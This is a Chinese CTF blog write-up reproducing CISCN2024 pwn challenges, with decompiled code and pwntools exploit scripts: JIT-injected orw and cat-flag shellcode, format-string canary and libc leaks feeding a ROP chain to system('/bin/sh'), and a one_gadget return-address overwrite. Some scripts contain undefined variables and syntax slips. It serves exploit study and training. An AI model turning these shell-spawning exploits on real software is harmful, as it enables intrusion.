CISCN2024华东南分区赛pwn复现

baby_jit-1

禁用execve那就用orw

这里莫名会分配空间,尝试改成*4

实际上多分配的8个字节用来写数字

imgimg

后面偏移自己规定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
unsigned __int64 sub_1389()
{
int i; // [rsp+Ch] [rbp-44h]
int v2; // [rsp+10h] [rbp-40h]
int v3; // [rsp+14h] [rbp-3Ch]
char *endptr; // [rsp+18h] [rbp-38h] BYREF
unsigned __int64 v5; // [rsp+20h] [rbp-30h]
char *v6; // [rsp+28h] [rbp-28h]
__int64 v7; // [rsp+30h] [rbp-20h]
char *s1; // [rsp+38h] [rbp-18h]
char s[8]; // [rsp+40h] [rbp-10h] BYREF
unsigned __int64 v10; // [rsp+48h] [rbp-8h]

v10 = __readfsqword(0x28u);
puts("offset?");
fgets(s, 8, stdin);
v2 = (int)(atof(s) * 12.0);
v3 = 12 * dword_402C + 4;
v6 = (char *)mmap((void *)0x100000, 12 * dword_402C + 20, 7, 34, -1, 0LL);
v6[v3 - 4] = 72;
v6[v3 - 3] = -119;
v6[v3 - 2] = -40;
v6[v3 - 1] = -61;
for ( i = 0; i < dword_402C; ++i )
{
s1 = (char *)*((_QWORD *)ptr + i);
*v6 = 72;
v6[1] = -72;
v5 = strtoull(s1 + 4, &endptr, 10);
*(_QWORD *)(v6 + 2) = v5;
v6 += 10;
*v6 = 72;
v6[2] = -61;
if ( !strncmp(s1, "add", 3uLL) )
{
v6[1] = 1;
}
else if ( !strncmp(s1, "sub", 3uLL) )
{
v6[1] = 41;
}
else if ( !strncmp(s1, "xor", 3uLL) )
{
v6[1] = 49;
}
else if ( !strncmp(s1, "and", 3uLL) )
{
v6[1] = 33;
}
v6 += 3;
}
v7 = ((__int64 (*)(void))(v2 + 0x100000))();
printf("result = %llu\n", v7);
munmap((void *)0x100000, v3);
return __readfsqword(0x28u) ^ v10;
}

add的数字会被写到0x100002

最后的shellcode需要先覆盖原来的8个字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
import time
from math import gcd
import subprocess

def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00'))
def g():
gdb.attach(p)
def d(idx):
sla(">>",str(idx))
def red(sd):
d(1)
sla("name:",str(sd))
def exec(index):
d(2)
sla("et?",str(index))
def add(index):
d(1)
sl((index))

p = process('./baby_jit')

pp = asm('''
push 0
pop rdi
xchg rdx,rsi
syscall
''')

calc= str(u64(pp.ljust(8,b'\x00')))
#print(calc)
add(b'add 364776757688991850')

exec(0.2)
#g()
sl(b'\x90'*8+asm(shellcraft.open('./flag')+shellcraft.read(3,0x100000+0x300,0x30)+shellcraft.write(1,0x100000+0x300,0x30)))
p.interactive()

如果orw都禁止了的话也可以用cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from ctypes import *

FILENAME='./baby_jit'
p= process(FILENAME)

context.arch='amd64'

def Add(context):
p.recvuntil(b'>>')
p.sendline(b'1')
p.sendline(context)
def Exec(context):
p.recvuntil(b'>>')
p.sendline(b'2')
p.recvuntil(b'offset')
p.sendline(context)
sh='''
push rax
pop rdi
push rdx
pop rsi
syscall
'''
calc_sh= str(u64(asm(sh).ljust(8,b'\x00')))

Add(f'add {calc_sh}')
#gdb.attach(p)
Exec(b'0.2')
sleep(1)
p.sendline(b'\x90'*(0x20)+asm(shellcraft.cat('flag')))
p.interactive()

jason-1

存在格式化字符串漏洞

第一反应就是把prtinf改成puts

由于给的是相对偏移,根据上述指令的规律和直觉性,相对偏移应该是0xffffc1xx,0x4ff7-0x4feb=0xc,尝试在c4的基础上+c或者-c,可以直接完成fix

0xFFFFC1C4 是一个负数,其表示的是 -0x3E3C

目标地址 = call 指令的下一条指令地址 + 偏移量

下一条指令地址为0000000000004FFC

目标地址 = 0x4FFC - 0x3E3C = 0x11C0

保护全开

经测试canary偏移为25,libc偏移为27

存在栈溢出的函数在一个未命名的函数下面比较难找

另外,前面函数可以控制read长度容易存在溢出,输入大量字符也能发现漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *

filename='./'
elf = ELF(filename)
#libc = ELF("./libc.so.6")
context(arch = elf.arch,log_level = 'debug',os = 'linux')

debug = 1
if debug:
io = process(filename)
else:
io = remote('node5.anna.nssctf.cn',21565)

def s(a) : io.send(a)
def sa(a, b) : io.sendafter(a, b)
def sl(a) : io.sendline(a)
def sla(a, b) : io.sendlineafter(a, b)
def r(a) : return io.recv(a)
def pr() : print(io.recv())
def ru(a) : return io.recvuntil(a)
def inter() : io.interactive()
def debug():
gdb.attach(io)
def b(addr):
#bk="b *$rebase("+str(addr)+")"
bk='b *' + str(addr)
attach(io,bk)
def get_addr_32():
return u32(io.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def d(idx):
sla(">",str(idx))
def add(tp, content,aa):
d(3)
sla("name:",str(tp))
sla(b'len:', str(content))
sla("data:",aa)
def free(index):
d(4)
sla("name:",(index)

sla("size:",str(0x88))
sla("Json:",b'44')

free("%25$p")
rl(b'0x')
canary = int(r(16),16)
info(hex(can))
free("%27$p")
rl(b'0x')
libc_base=int(p.recv(12),16)-0x24083
info(hex(base))
pop_rdi = 0x23b6a+libc_base
system,bin_sh=get_addr()
add(4,0x1000,b'a'*632+p64(canary)*2+p64(pop_rdi)+p64(bin_sh)+p64(system))

inter()

正常思路是劫持ret_addr改为one_gadget

偏移22处一般显示不出来指针链,但可以猜

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *


FILENAME='./jason'
p= process(FILENAME)
libc=ELF('./libc.so.6')

context.arch='amd64'

def show(name):
p.recvuntil(b'>')
p.sendline(b'4')
p.recvuntil(b'name')
p.sendline(name)

p.recvuntil(b'size')
p.sendline(b'20')
p.recvuntil(b'Json')
p.sendline(b'21')
show(b'%27$p%10$p')

p.recvuntil(b'0x')
libc_add=int(p.recv(6*2),16)
libcbase=libc_add-libc.sym['__libc_start_main']-243
success('libcbase '+hex(libcbase))
one_gadget=[0xe3afe,0xe3b01,0xe3b04]
execve=libcbase+one_gadget[1]
success('execve '+hex(execve))

p.recvuntil(b'0x')
stack_add=int(p.recv(6*2),16)
success('stack_add '+hex(stack_add))


stack_add+=0x8
f=execve&0xffff
#gdb.attach(p)
payload=b'%'+bytes(str(f),'utf-8')+b'c%22$hn'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(stack_add)

show(payload)



f=(execve>>(2*8))&0xff
print(hex(f))
payload=b'%'+bytes(str(f),'utf-8')+b'c%22$hhn'
payload=payload.ljust(0x10,b'\x00')
payload+=p64(stack_add+2)

show(payload)

p.recvuntil(b'>')
p.sendline(b'2')
p.recvuntil(b'name')
p.sendline(b'd')#读一个不存在的name退出即可

p.interactive()

ezwp-1

根据字符串找到关键代码

这里会造成单字节溢出,也就是说如果输入的超过0xff,例如0x100将会强制转化成0,这个时候能通过比较,而下面的密码比较只比较0x20,也就能成功绕过

fix思路是把byte改成word,但是会增加字长,未必能修,或者直接把字符串改了

后面环境没了就找不到了

printf-master-3

有非栈上格式化字符串漏洞

printf改puts的做法

泄露各种地址,#表示进制带格式

禁用$,利用堆叠占位符就能解决


CISCN2024华东南分区赛pwn复现
https://j1ya-22.github.io/2024/06/30/CISCN2024华东南分区赛pwn复现/
作者
j1ya
发布于
2024年6月30日
许可协议